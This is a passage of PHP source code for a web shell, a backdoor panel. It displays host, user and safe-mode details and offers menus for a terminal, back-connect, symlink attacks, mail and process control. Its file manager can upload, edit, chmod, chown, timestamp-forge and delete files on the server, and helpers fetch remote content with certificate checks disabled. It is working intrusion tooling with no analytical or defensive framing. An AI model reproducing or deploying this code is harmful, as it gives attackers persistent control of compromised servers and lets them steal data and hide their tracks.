	$fl=fopen($y,"w");
	$ch=curl_init();
	curl_setopt($ch,CURLOPT_USERAGENT,$agent);
	curl_setopt($ch,CURLOPT_URL,$x);
	curl_setopt($ch,CURLOPT_FILE,$fl);
	curl_setopt($ch,CURLOPT_HEADER,0);
	curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);
	curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
	curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
	$rs=curl_exec($ch);
	if(curl_error($ch)) return curl_error($ch);
	curl_close($ch);
	fclose($fl);
	return true;
}

function GetUrlExists($x)
{
	global $agent;
	$ch=curl_init();
	curl_setopt($ch,CURLOPT_USERAGENT,$agent);
	curl_setopt($ch,CURLOPT_URL,$x);
	curl_setopt($ch,CURLOPT_TIMEOUT,5);
	curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,5);
	curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
	$rs=curl_exec($ch);
	$http=curl_getinfo($ch,CURLINFO_HTTP_CODE);
	if(curl_error($ch)) return curl_error($ch);
	curl_close($ch);
	return ($http>=200 && $http<300);
}

function GetUrlContent($x)
{
	global $agent;
	$ch=curl_init();
	curl_setopt($ch,CURLOPT_USERAGENT,$agent);
	curl_setopt($ch,CURLOPT_URL,$x);
	curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);
	curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
	curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
	$rs=curl_exec($ch);
	if(curl_error($ch)) return curl_error($ch);
	curl_close($ch);
	return $rs;
}

function GetUrlFromPath($x)
{
	$fix_path=str_replace(_,'/',$x);
	$protocol=empty($_SERVER['HTTPS'])||$_SERVER['HTTPS']==='off'?'http://':'https://';
	$path=str_replace(document_root,'',$fix_path);
	return $protocol.server_name.$path;
}

function PostUrlContent($url,$content)
{
	global $agent;
	$params=array(
		'http' => array(
			'method'  => "POST",
			'header'  => "Content-Type: application/x-www-form-urlencoded
".
						 "User-Agent: $agent
",
			'content' => http_build_query($content)
		)
	);
	$results="";
	$context=stream_context_create($params);
	$header=get_headers($url);
	if($http=substr($header[0],9,3) != "200")
	{
	    $results="Error: $http";
	}
	else
	{
		//file_get_contents
		if($contents=file_get_contents($url,null,$context))
		{
			$results=htmlspecialchars($contents);
		}

		//stream_get_contents
		if($handle=fopen($url,'r',false,$context)) 
		{
		    $contents=stream_get_contents($handle);
		    fclose($handle);
		    $results=htmlspecialchars($contents);
		}

		//fopen
		if($handle=fopen($url,'r',false,$context))
		{
			$contents="";
			while(!feof($handle)) 
			{
				$contents.=fread($handle,10240);
			}
			fclose($handle);
			$results=htmlspecialchars($contents);
		}

	}
	return $results;
}

function GetFileType($x) 
{
	if(is_file($x)) 
	{
		return pathinfo($x)['extension'];
	}
	elseif(is_dir($x)) 
	{ 
		return "dir";
	}
	elseif(is_link($x)) 
	{ 
		return "link";
	}
	else
	{
		return "-";
	}
}

function GetFileTime($x,$y) 
{
	switch($y) 
	{
		case "create":return date("Y-m-d H:i:s",@filectime($x));break;
		case "modify":return date("Y-m-d H:i:s",@filemtime($x));break;
		case "access":return date("Y-m-d H:i:s",@fileatime($x));break;
	}
}

function GetFilePerm($x) 
{
	$perms=@fileperms($x);
	switch ($perms & 0xF000) 
	{case 0xC000:$info='s';break;case 0xA000:$info='l';break;
	case 0x8000:$info='r';break;case 0x6000:$info='b';break;
	case 0x4000:$info='d';break;case 0x2000:$info='c';break;
	case 0x1000:$info='p';break;default:$info='u';}
	$info .=(($perms & 0x0100)?'r':'-');$info .=(($perms & 0x0080)?'w':'-');
	$info .=(($perms & 0x0040)?(($perms & 0x0800)?'s':'x' ):(($perms & 0x0800)?'S':'-'));
	$info .=(($perms & 0x0020)?'r':'-');$info .=(($perms & 0x0010)?'w':'-');
	$info .=(($perms & 0x0008)?(($perms & 0x0400)?'s':'x' ):(($perms & 0x0400)?'S':'-'));
	$info .=(($perms & 0x0004)?'r':'-');$info .=(($perms & 0x0002)?'w':'-');
	$info .=(($perms & 0x0001)?(($perms & 0x0200)?'t':'x' ):(($perms & 0x0200)?'T':'-'));
	return sprintf('%s [%s]',$info,substr(decoct($perms),2));
}

function GetFileSize($x) 
{
	$x=abs($x);
	$size=array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
	$exp=$x?floor(log($x)/log(1024)):0;
	return sprintf('%.2f '.$size[$exp],($x/pow(1024,floor($exp))));
}

function GetUser($x) 
{	
	if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid')) 
	{
		$uid=posix_getpwuid(posix_getuid());
		$gid=posix_getgrgid(posix_getgid());
		
		switch($x) 
		{	
			case 'usr':return $uid['name'];break;
			case 'uid':return $uid['uid'];break;
			case 'grp':return $gid['name'];break;
			case 'gid':return $gid['gid'];break;
		}
	}
	else
	{
		switch($x)
		{
			case 'usr':return get_current_user();break;
			case 'uid':return getmyuid();break;
			case 'grp':return "?";break;
			case 'gid':return getmygid();break;
		}
	}	
}

function GetOwnerGroup($x) 
{
	if(Unix())
	{
		if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid')) 
		{
			$user=posix_getpwuid(fileowner($x));
			$group=posix_getgrgid(filegroup($x));
			return sprintf('%s:%s',$user['name'],$group['name']);
		}
	}
	return "?:?";
}

function GetFileOwnerGroup($x) 
{
	if(Unix())
	{
		if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid')) 
		{
			$user=posix_getpwuid(fileowner($x));
			$group=posix_getgrgid(filegroup($x));
			return sprintf('%s:%s/%s:%s',$user['name'],$user['uid'],$group['name'],$group['gid']);
		}
	}
	return "?:?/?:?";
}

function GetSafeMode() 
{
	if(strtolower(ini_get("safe_mode"))=='on') 
	{
		$safemod="<font class='off'>ON</font>";
	}
	else
	{
		$safemod="<font class='on'>OFF</font>";
	}
	return $safemod;
}

function MapDirectory($x) 
{
	$map="";
	$d=str_replace("\",_,$x);
	if(empty($d))
	{
		$d=realpath(".");
	}
	elseif(realpath($d))
	{	
		$d=realpath($d);
	}
	$d=str_replace("\",_,$d);
	if(substr($d,-1)!=_) 
	{	
		$d.=_;
	}
	$d=str_replace("\\","\",$d);
	$pd=$e=explode(_,substr($d,0,-1));
	$i=0;
	foreach($pd as $b) 
	{
		$t="";
		$j=0;
		foreach($e as $r) 
		{
			$t.=$r._;
			if($j==$i) 
			{	
				break;
			}
			$j++;
		}
		$map.="<a href=\"?d=".urle($t)."\" >".htmlspecialchars($b)."</a>"._;
		$i++;
	}
	return rtrim($map,_);
}

function MapDrive($x) 
{
	if(!Unix()) 
	{
		$v=explode("\",$x);
		$v=$v[0];
		$l="";
		foreach(range("A","Z") as $lt) 
		{
			$drive=is_dir($lt.":\");
			if($drive) 
			{
				$l.="<a href=\"?d=".urle($lt.":\")."\">[";
				if(strtolower($lt.':')!=strtolower($v)) 
				{
					$l.=$lt;
				}
				else
				{
					$l.="<font color=\"orange\"><b>".$lt."</b></font>";
				}
				$l.="]</a>";
			}
		}
		return $l;
	}
}

function MainMenu() 
{
	$menu=array(
		"ExpL"          => "?d=".urle(getcwd()),
		"&#9733; Sec."	=> "?x=secure",
		"Info"          => "?x=info",
		"Database"      => "?x=db",
		"Terminal"      => "?x=terminal",
		"Connect"       => "?x=connect",
		".Htaccess"     => "?x=htaccess",
		"PHP"           => "?x=php",
		"Perl/CGI"      => "?x=perl",
		"Mail"          => "?x=mail",
		"Process"       => "?x=process",
		"Shells"        => "?x=shells",
		"Symlink"       => "?x=symlink",
		"&#9819; Tools" => "?z",
		"Account"       => "?x=account",
		"Update"        => "?x=update",
		"Logout"        => "?x=logout"
	);
	$nu="";
	foreach($menu as $key => $val)
	{
		$idxkey=substr($val,1,1);
		$idxval=substr($val,3);
		$active=any($idxkey,$_REQUEST)&&$_REQUEST[$idxkey]==$idxval?"class='active'":"";
		if($key=="Logout")
		{
			$nu.="<li><a ".$active." href='".$val."' onclick=\"return confirm('Bye !');\">".$key."</a></li>";
		}
		else
		{
			$nu.="<li><a ".$active." href='".$val."'>".$key."</a></li>";
		}
	}
	return $nu;
}

function MenuTools($x) 
{
	global $menu_tools;
	$ol="<div class='menu-tools'><ul>";
	$menu_tools=$x;
	
	foreach($menu_tools as $k => $v)
	{
		$active=$_REQUEST['z']==$k?"class='active'":"";
		$ol.="<li><a ".$active." href='?z=".$k."'>[".$v['title']."]</a></li>";
	}
	$ol.="</ul></div>";
	return $ol;
}

printf("<div id='header'>
		<div class='header-left'>
			<div id='info'>
				<font class='on'>[%s]</font><br>
				<font class='on'>[%s]</font><br>
				[<a href='//%s' target='_blank'>%s</a>]: <font class='on'>%s:%s</font> [%s]: <font class='on'>%s:%s</font><br>
				[USER]: <font class='on'>%s(%s)</font> [GROUP]: <font class='on'>%s(%s)</font><br>
				[HDD]: <font class='on'>%s</font> / <font class='on'>%s</font><br>
				[PHPMODE]: <font class='on'>%s</font><br>
				[SAFEMODE]: <font class='on'>%s</font><br>
			</div>
		</div>
		<div class='header-right'>
			<a href='%s'><div id='logo'>
				<h1 id='title'>%s</h1>
				<div class='line'></div>
				<h2 id='subtitle'>%s</h2>
			</div></a>
		</div>
		<div class='clr'></div>
		</div>
		<div id='container'>
		<div class='menu'>
			<ul>%s</ul>
		</div>
		<div class='menu-directory'>
			<div class='map-switch'>
				<input type='submit' name='map-switch' value='&#9822;' onclick='mapSwitch(\"map1\",\"map2\")'>
			</div>
			<div class='map1' id='map1' style='display:inline-block'>
				<span style='margin-right:5px'>%s</span>
				<span style='margin-right:5px'>%s</span>
			</div>
			<div class='map2' id='map2' style='display:none'>
				<form method='post' id='map2-form' onsubmit='document.getElementById(\"map2-form\").action=\"?g=\" + encodeURI(document.getElementById(\"map2-input\").value);'>
					<input type='text' value='%s' id='map2-input'/>
					<input type='submit' value='Go'>
				</form>
			</div>
		</div>
		<div class='content'>",
		php_uname(),server_software,
		server_name,server_name,gethostbyname(http_host),server_port,
		B64D($account[0]),remote_addr,remote_port,
		GetUser("usr"),GetUser("uid"),GetUser("grp"),GetUser("gid"),
		GetFileSize(@disk_free_space($dir)),GetFileSize(@disk_total_space($dir)),
		php_sapi_name(),GetSafeMode(),php_self,$config['title'],$config['subtitle'],
		MainMenu(),MapDrive($map),MapDirectory($map),$map
);

if(any("g",$_REQUEST))
{
	$g=$_REQUEST['g'];

	if (is_dir($g))
	{
		header('location:'.php_self.'?d='.urle($g));
	}
	elseif(is_file($g)||is_link($g))
	{
		header('location:'.php_self.'?a=v&r='.urle($g));
	}
	else
	{
		header('location:'.php_self);
	}
}

if(any("d",$_REQUEST)||request_uri===script_name)
{
	$_SESSION['c']=urle($dir);

	if(any("file",$_REQUEST)&&$_REQUEST['file']=="New File")
	{
		$file=trim($dir._.$_REQUEST['what']);
		
		if(file_exists($file))
		{
			printf("<center style='margin-bottom:10px'><b class='off'>Can't create New File!</b></center>");
		}
		else
		{
			$mf=@fopen($file,"w");
			fclose($mf);
			header("location:".php_self."?a=e&r=".urle($file));
		}
	}
	if(any("directory",$_REQUEST)&&$_REQUEST['directory']=="New Dir")
	{	
		$dire=trim($_REQUEST['what']);

		@chdir($dir);

		if(!@mkdir($dire))
		{
			printf("<center style='margin-bottom:10px'><b class='off'>Can't create New Directory!</b></center>");
		}
		else
		{
			printf("<center style='margin-bottom:10px'><b class='on'>Directory '%s' Created on %s</b></center>",$dire,GetFileTime($dir._.$dire,'create'));
		}
	}
	if(any("upload",$_REQUEST)&&$_REQUEST['upload']=="Upload")
	{	
		$upload=$dir._.trim(basename($_FILES["what"]["name"]));

		if(move_uploaded_file($_FILES["what"]["tmp_name"],$upload)) 
		{
			printf("<center style='margin-bottom:10px'><b class='on'>File %s has been uploaded</b></center>",basename($_FILES["what"]["name"]));
		}
		else 
		{
			printf("<center style='margin-bottom:10px'><b class='off'>&#10005; Can't upload new file! &#10005;</b></center>");
		}
	}
	if($handle=@opendir($dir))
	{
		$reads=array();
		$count_dirs=0;
		$count_files=0;

		while(false!==($file=readdir($handle)))
		{
			$filedir=rtrim($dir,_)._.$file;
			$updir=substr($dir,0,strrpos($dir,_));
			if (strlen($updir)<=2) $updir=$updir._;
			$type=GetFileType($filedir);
			$size=GetFileSize(@filesize($filedir));
			$last=GetFileTime($filedir,"modify");
			$perm=GetFilePerm($filedir);
			$owner=GetOwnerGroup($filedir);
			$mime=@mime_content_type($filedir);
			$view="";

			if(strpos($mime,'image')!==false)
			{
				$view="?a=v&w=i&r=".urle($filedir);
			}
			elseif(strpos($mime,'video')!==false)
			{
				$view="?a=v&w=v&r=".urle($filedir);
			}
			elseif(strpos($mime,'audio')!==false)
			{
				$view="?a=v&w=a&r=".urle($filedir);
			}
			else
			{
				$view="?a=v&r=".urle($filedir);
			}
			
			if($file==".")
			{
				$reads[]="<tr sorttable_customkey='2'><td><center><input type='checkbox' name='nochk[]' value='".urle($dir)."'/></center></td><td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAd5JREFUeNqMU79rFUEQ/vbuodFEEkzAImBpkUabFP4ldpaJhZXYm/RiZWsv/hkWFglBUyTIgyAIIfgIRjHv3r39MePM7N3LcbxAFvZ2b2bn22/mm3XMjF+HL3YW7q28YSIw8mBKoBihhhgCsoORot9d3/ywg3YowMXwNde/PzGnk2vn6PitrT+/PGeNaecg4+qNY3D43vy16A5wDDd4Aqg/ngmrjl/GoN0U5V1QquHQG3q+TPDVhVwyBffcmQGJmSVfyZk7R3SngI4JKfwDJ2+05zIg8gbiereTZRHhJ5KCMOwDFLjhoBTn2g0ghagfKeIYJDPFyibJVBtTREwq60SpYvh5++PpwatHsxSm9QRLSQpEVSd7/TYJUb49TX7gztpjjEffnoVw66+Ytovs14Yp7HaKmUXeX9rKUoMoLNW3srqI5fWn8JejrVkK0QcrkFLOgS39yoKUQe292WJ1guUHG8K2o8K00oO1BTvXoW4yasclUTgZYJY9aFNfAThX5CZRmczAV52oAPoupHhWRIUUAOoyUIlYVaAa/VbLbyiZUiyFbjQFNwiZQSGl4IDy9sO5Wrty0QLKhdZPxmgGcDo8ejn+c/6eiK9poz15Kw7Dr/vN/z6W7q++091/AQYA5mZ8GYJ9K0AAAAAASUVORK5CYII='/> <a title='Current Directory' href='?d=".urle($dir)."'>.</a></td><td><center>".strtoupper($type)."</center></td><td><center>".$size."</center></td><td><center>".$perm."</center></td><td><center>".$owner."</center></td><td><center>".$last."</center></td><td><a class='action' href='?a=x&r=".urle($dir)."' onclick=\"return confirm('Delete Directory [ /".basename($dir)." ] ?');\" title='Delete Folder'>&#10008;</a> <a class='action' href='?a=c&r=".urle($dir)."' title='Modify Folder'>&#8499;</a></td></tr>";
			}
			elseif($file=="..")
			{
				$reads[]="<tr sorttable_customkey='1'><td><center><input type='checkbox' name='nochk[]' value='".urle($updir)."'/></center></td><td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAmlJREFUeNpsU0toU0EUPfPysx/tTxuDH9SCWhUDooIbd7oRUUTMouqi2iIoCO6lceHWhegy4EJFinWjrlQUpVm0IIoFpVDEIthm0dpikpf3ZuZ6Z94nrXhhMjM3c8895977BBHB2PznK8WPtDgyWH5q77cPH8PpdXuhpQT4ifR9u5sfJb1bmw6VivahATDrxcRZ2njfoaMv+2j7mLDn93MPiNRMvGbL18L9IpF8h9/TN+EYkMffSiOXJ5+hkD+PdqcLpICWHOHc2CC+LEyA/K+cKQMnlQHJX8wqYG3MAJy88Wa4OLDvEqAEOpJd0LxHIMdHBziowSwVlF8D6QaicK01krw/JynwcKoEwZczewroTvZirlKJs5CqQ5CG8pb57FnJUA0LYCXMX5fibd+p8LWDDemcPZbzQyjvH+Ki1TlIciElA7ghwLKV4kRZstt2sANWRjYTAGzuP2hXZFpJ/GsxgGJ0ox1aoFWsDXyyxqCs26+ydmagFN/rRjymJ1898bzGzmQE0HCZpmk5A0RFIv8Pn0WYPsiu6t/Rsj6PauVTwffTSzGAGZhUG2F06hEc9ibS7OPMNp6ErYFlKavo7MkhmTqCxZ/jwzGA9Hx82H2BZSw1NTN9Gx8ycHkajU/7M+jInsDC7DiaEmo1bNl1AMr9ASFgqVu9MCTIzoGUimXVAnnaN0PdBBDCCYbEtMk6wkpQwIG0sn0PQIUF4GsTwLSIFKNqF6DVrQq+IWVrQDxAYQC/1SsYOI4pOxKZrfifiUSbDUisif7XlpGIPufXd/uvdvZm760M0no1FZcnrzUdjw7au3vu/BVgAFLXeuTxhTXVAAAAAElFTkSuQmCC'/> <a title='Parent Directory' href='?d=".urle($updir)."'>".$file."</a></td><td><center>".strtoupper($type)."</center></td><td><center>".$size."</center></td><td><center>".$perm."</center></td><td><center>".$owner."</center></td><td><center>".$last."</center></td><td><a class='action' href='?a=x&r=".urle($updir)."' onclick=\"return confirm('Delete Directory [ /".basename($updir)." ] ?');\" title='Delete Folder'>&#10008;</a> <a class='action' href='?a=c&r=".urle($updir)."' title='Modify Folder'>&#8499;</a></td></tr>";
			}
			else
			{
				if($type=="dir")
				{
					$reads[]="<tr sorttable_customkey='3'><td><center><input type='checkbox' name='chk[]' value='".urle($filedir)."' /></center></td><td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAd5JREFUeNqMU79rFUEQ/vbuodFEEkzAImBpkUabFP4ldpaJhZXYm/RiZWsv/hkWFglBUyTIgyAIIfgIRjHv3r39MePM7N3LcbxAFvZ2b2bn22/mm3XMjF+HL3YW7q28YSIw8mBKoBihhhgCsoORot9d3/ywg3YowMXwNde/PzGnk2vn6PitrT+/PGeNaecg4+qNY3D43vy16A5wDDd4Aqg/ngmrjl/GoN0U5V1QquHQG3q+TPDVhVwyBffcmQGJmSVfyZk7R3SngI4JKfwDJ2+05zIg8gbiereTZRHhJ5KCMOwDFLjhoBTn2g0ghagfKeIYJDPFyibJVBtTREwq60SpYvh5++PpwatHsxSm9QRLSQpEVSd7/TYJUb49TX7gztpjjEffnoVw66+Ytovs14Yp7HaKmUXeX9rKUoMoLNW3srqI5fWn8JejrVkK0QcrkFLOgS39yoKUQe292WJ1guUHG8K2o8K00oO1BTvXoW4yasclUTgZYJY9aFNfAThX5CZRmczAV52oAPoupHhWRIUUAOoyUIlYVaAa/VbLbyiZUiyFbjQFNwiZQSGl4IDy9sO5Wrty0QLKhdZPxmgGcDo8ejn+c/6eiK9poz15Kw7Dr/vN/z6W7q++091/AQYA5mZ8GYJ9K0AAAAAASUVORK5CYII='/> <a title='Open Directory' href='?d=".urle($filedir)."'>".$file."</a></td><td><center>".strtoupper($type)."</center></td><td><center>".$size."</center></td><td><center>".$perm."</center></td><td><center>".$owner."</center></td><td><center>".$last."</center></td><td><a class='action' href='?a=x&r=".urle($filedir)."' onclick=\"return confirm('Delete Directory [ /".basename($filedir)." ] ?');\" title='Delete Folder'>&#10008;</a> <a class='action' href='?a=c&r=".urle($filedir)."' title='Modify Folder'>&#8499;</a></td></tr>";
					$count_dirs++;
				}
				else
				{
					$reads[]="<tr sorttable_customkey='4'><td><center><input type='checkbox' name='chk[]' value='".urle($filedir)."' /></center></td><td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAABnRSTlMAAAAAAABupgeRAAABHUlEQVR42o2RMW7DIBiF3498iHRJD5JKHurL+CRVBp+i2T16tTynF2gO0KSb5ZrBBl4HHDBuK/WXACH4eO9/CAAAbdvijzLGNE1TVZXfZuHg6XCAQESAZXbOKaXO57eiKG6ft9PrKQIkCQqFoIiQFBGlFIB5nvM8t9aOX2Nd18oDzjnPgCDpn/BH4zh2XZdlWVmWiUK4IgCBoFMUz9eP6zRN75cLgEQhcmTQIbl72O0f9865qLAAsURAAgKBJKEtgLXWvyjLuFsThCSstb8rBCaAQhDYWgIZ7myM+TUBjDHrHlZcbMYYk34cN0YSLcgS+wL0fe9TXDMbY33fR2AYBvyQ8L0Gk8MwREBrTfKe4TpTzwhArXWi8HI84h/1DfwI5mhxJamFAAAAAElFTkSuQmCC'> <a title='View File' href='".$view."'>".$file."</a></td><td><center>".strtoupper($type)."</center></td><td><center>".$size."</center></td><td><center>".$perm."</center></td><td><center>".$owner."</center></td><td><center>".$last."</center></td><td><a class='action' href='?a=e&r=".urle($filedir)."' title='Modify File'>&#8499;</a> <a class='action' href='?a=x&r=".urle($filedir)."' onclick=\"return confirm('Delete Filename [ ".basename($filedir)." ] ?');\" title='Delete File'>&#10008;</a> <a class='action' href='?a=d&r=".urle($filedir)."' title='Download File'>&#10149;</a></td></tr>";		
					$count_files++;
				}
			}
		}
		sort($reads);
		$filesdirs="";
		foreach($reads as $read)
		{
			$filesdirs.=$read;
		}
		printf("<div id='action'>
					<table><tr>
					<td><form class='new' method=POST action='?d=%s'>
						<input name='what' type='text' /><input type='submit' name='file' value='New File'/>
					</form></td>
					<td><form class='new' method=POST action='?d=%s'>
						<input name='what' type='text' /><input type='submit' name='directory' value='New Dir'/>
					</form></td>
					<td><form class='new' method=POST action='?x=find'>
						<input type='text' name='find-value' id='find-action'/><input type='submit' name='find-button' value='Find'/>
					</form></td>
					<td><form class='new' method=POST action='?d=%s&x=upload' enctype='multipart/form-data'>
						<input name='what' type='file' class='inputfile'/><input type='submit' name='upload' value='Upload'/>
					</form></td>
					</tr></table>
				</div>
				<div id='home'>
					<form name='files' method=POST action='?x=action' onclick='checkCount(\"count\")'>
						<table class='table sortable'>
							<thead>
								<tr>
									<th class='sorttable_nosort'><input type='checkbox' name='check-all' onclick='checkAll()'/></th>
									<th class='sorttable_numeric'>Name</th>
									<th>Type</th>
									<th>Size</th>
									<th>Perms</th>
									<th>Owner:Group</th>
									<th>Modified</th>
									<th>Act.</th>
								</tr>
							</thead>
							<tbody>%s</tbody>
							<tFoot>
								<tr>
									<td colspan='8'>[<span id='count'>0</span>] Selected | Dir's: [%s] File's: [%s]</td>
								</tr>
							</tFoot>
						</table>
						<select name='action-value'>
							<option value='copy'>Copy</option>
							<option value='move'>Move</option>
							<option value='delete'>Delete</option>
							<option value='zip'>Archive (zip)</option>
							<option value='unzip'>Extract to (zip)</option>
						</select>
						<input type='submit' value='Action' name='action-button' />
					</form>
				</div>",
				urle($dir),
				urle($dir),
				urle($dir),
				$filesdirs,
				$count_dirs,
				$count_files
		);
		closedir($handle);
	}
	else
	{
		print "<center style='margin-bottom:10px'><b class='off'>Can't Open Location</b></center>";
	}
}

if(any("r",$_REQUEST))
{
	if(file_exists(urld($_REQUEST["r"])))
	{
		$file=strval(urld($_REQUEST["r"]));
		$status=any("status",$_SESSION)?$_SESSION['status']:"";
		$back=php_self."?d=".urle($dir);

		printf("<div class='divide'>
				<div class='divide-left'>
					<table class='table'>
						<tr><td>Name</td><td>%s</td></tr>
						<tr><td>Size</td><td>%s</td></tr>
						<tr><td>Permission</td><td>%s</td></tr>
						<tr><td>Create time</td><td>%s</td></tr>
						<tr><td>Last modified</td><td>%s</td></tr>
						<tr><td>Last accessed</td><td>%s</td></tr>
					</table>
				</div>
				<div class='divide-right'>
					<table class='table'>
						<tr><td>MIME</td><td>%s</td></tr>
						<tr><td>Owner/Group</td><td>%s</td></tr>
						<tr><td>MD5</td><td>%s</td></tr>
						<tr><td>SHA1</td><td>%s</td></tr>
					</table>
				</div>
			</div>",
			basename($file),
			GetFileSize(@filesize($file)),
			GetFilePerm($file),
			GetFileTime($file,"create"),
			GetFileTime($file,"modify"),
			GetFileTime($file,"access"),
			mime_content_type($file),
			GetFileOwnerGroup($file),
			@md5_file($file),
			@sha1_file($file)
		);

		if(is_file($file)||is_link($file))
		{
			$menu=array(

				"Back"      => "?a=b&r=",
				"Edit"      => "?a=e&r=",
				"View"      => "?a=v&r=",
				"Copy"      => "?a=cp&r=",
				"Move"      => "?a=mv&r=",
				"Download"  => "?a=d&r=",
				"Hexdump"   => "?a=h&r=",
				"Chmod"     => "?a=c&r=",
				"Chown"     => "?a=cwn&r=",
				"Chgrp"     => "?a=cgp&r=",
				"Touch"     => "?a=t&r=",
				"Rename"    => "?a=r&r=",
				"Delete"    => "?a=x&r="
			);
		}
		elseif(is_dir($file))
		{
			$menu=array(

				"Back"      => "?a=b&r=",
				"Chmod"     => "?a=c&r=",
				"Chown"     => "?a=cwn&r=",
				"Chgrp"     => "?a=cgp&r=",
				"Touch"     => "?a=t&r=",
				"Rename"    => "?a=r&r=",
				"Delete"    => "?a=x&r="
			);
		}

		$nu="";
		
		foreach($menu as $key => $val)
		{
			$idxkey=substr($val,1,1);
			$idxval=substr($val,3,strpos($val,'&')-3);
			$active=any($idxkey,$_REQUEST)&&$_REQUEST[$idxkey]==$idxval?"class='active'":"";
			if($key=="Delete")
			{
				$nu.="<li><a ".$active." href='".$val.urle($file)."' onclick=\"return confirm('Delete Filename [ ".basename($file)." ] ?');\">".$key."</a></li>";
			}
			elseif($key=="Back")
			{
				$nu.="<li><a ".$active." href='".$back."'>".$key."</a></li>";
			}
			else
			{
				$nu.="<li><a ".$active." href='".$val.urle($file)."'>".$key."</a></li>";
			}
		}

		printf("<div class='menu'>
			<ul>%s</ul>
		</div>",$nu);

		if($_REQUEST['a']=='e')
		{
			$source="";

			if(filesize($file) > 5242880)
			{
				$source.="Lazy to Read more than 5MB Files";
			}
			else
			{
				$open=fopen($file,'r');

				if($open) 
				{
					while(!feof($open)) 
					{
						$source.=htmlentities(fread($open,(1024*4)));
					}
					fclose($open);
				}
			}

			printf("<form class='frmsource' method='post'>
					<textarea id='sourcefocus' name='sourcecode' rows='25' cols='100'>%s</textarea>
					<input type='Submit' value='Save file' name='save'/>
					<label>%s</label>
				</form>",$source,$status);
		
			if(any("status",$_SESSION)) unset($_SESSION['status']);

			if(any("save",$_REQUEST))
			{
				$new_source=$_REQUEST['sourcecode'];
				if(function_exists("chmod")) chmod($file,0755);
				$source_edit=fopen($file,'w+');
				$tulis=fwrite($source_edit,$new_source);
				fclose($source_edit);
				if($tulis)
				{
					$_SESSION['status']="File Saved ! ".GetFileTime($file,"modify")." | ".GetFileSize(filesize($file));
				}
				else
				{
					$_SESSION['status']="Whoops, something went wrong...";
				}
				header("location:".php_self."?a=e&r=".urle($file));
			}
		}

		if($_REQUEST['a']=='r')
		{
			printf("<form class='new' method='post'>
				<input type='text' name='name' value='%s'/>
				<input type='Submit' value='Rename' name='rename'/>
				<label>%s</label>
			</form>",basename($file),$status);

			if(any("status",$_SESSION)) unset($_SESSION['status']);

			if(any("rename",$_REQUEST))
			{
				$path=pathinfo(trim($file));
				$newname=$path['dirname']._.trim($_REQUEST['name']);
				if(!rename(trim($file),$newname)) 
				{
				    $_SESSION['status']='Whoops, something went wrong...';
				}
				else 
				{
				    $_SESSION['status']='Renamed file with success';
				}
				header("location:".php_self."?a=r&r=".urle($newname));
			}
		}

		if($_REQUEST['a']=='c')
		{
			printf("<form class='new' method='post'>
				<input type='text' name='octal' value='%s'/>
				<input type='Submit' value='Chmod' name='chmod'/>
				<label>%s</label>
			</form>",substr(decoct(fileperms($file)),2),$status);

			if(any("status",$_SESSION)) unset($_SESSION['status']);

			if(any("chmod",$_REQUEST))
			{
				$octal=octdec($_REQUEST['octal']);
				if(!chmod(trim($file),$octal)) 
				{
				    $_SESSION['status']='Whoops, something went wrong...';
				}
				else 
				{
				    $_SESSION['status']='Chmod file with success';
				}
				header("location:".php_self."?a=c&r=".urle($file));
			}
		}

		if($_REQUEST['a']=='cwn')
		{
			$own='';
			if(function_exists('posix_getpwuid')) 
			{
				$user=posix_getpwuid(fileowner($x));
				$own=$user['name'];
			}

			printf("<form class='new' method='post'>
				<input type='text' name='own' value='%s'/>
				<input type='Submit' value='Chown' name='chown'/>
				<label>%s</label>
			</form>",$own,$status);

			if(any("status",$_SESSION)) unset($_SESSION['status']);

			if(any("chown",$_REQUEST))
			{
				$own=$_REQUEST['own'];
				if(!chown(trim($file),$own)) 
				{
				    $_SESSION['status']='Whoops, something went wrong...';
				}
				else 
				{
				    $_SESSION['status']='Chown file with success';
				}
				header("location:".php_self."?a=cwn&r=".urle($file));
			}
		}

		if($_REQUEST['a']=='cgp')
		{
			$grp='';
			if(function_exists('posix_getgrgid')) 
			{
				$group=posix_getgrgid(filegroup($x));
				$grp=$group['name'];
			}

			printf("<form class='new' method='post'>
				<input type='text' name='grp' value='%s'/>
				<input type='Submit' value='Chgrp' name='chgrp'/>
				<label>%s</label>
			</form>",$grp,$status);

			if(any("status",$_SESSION)) unset($_SESSION['status']);

			if(any("chgrp",$_REQUEST))
			{
				$grp=$_REQUEST['grp'];
				if(!chgrp(trim($file),$grp)) 
				{
					$_SESSION['status']='Whoops, something went wrong...';
				}
				else 
				{
					$_SESSION['status']='Chgrp file with success';
				}
				header("location:".php_self."?a=cgp&r=".urle($file));
			}
		}

		if($_REQUEST['a']=='t')
		{
			printf("<form class='new' method='post'>
				<input type='text' name='time' value='%s'/>
				<input type='Submit' value='Touch' name='touch'/>
				<label>%s</label>
			</form>",GetFileTime($file,"modify"),$status);

			if(any("status",$_SESSION)) unset($_SESSION['status']);

			if(any("touch",$_REQUEST))
			{
				$time=$_REQUEST['time'];
				if(!touch(trim($file),strtotime($time))) 
				{
				    $_SESSION['status']='Whoops, something went wrong...';
				}
				else 
				{
				    $_SESSION['status']='Touched file with success';
				}
				header("location:".php_self."?a=t&r=".urle($file));
			}
		}

		if($_REQUEST['a']=='v')
		{
			printf("<div class='menu'>
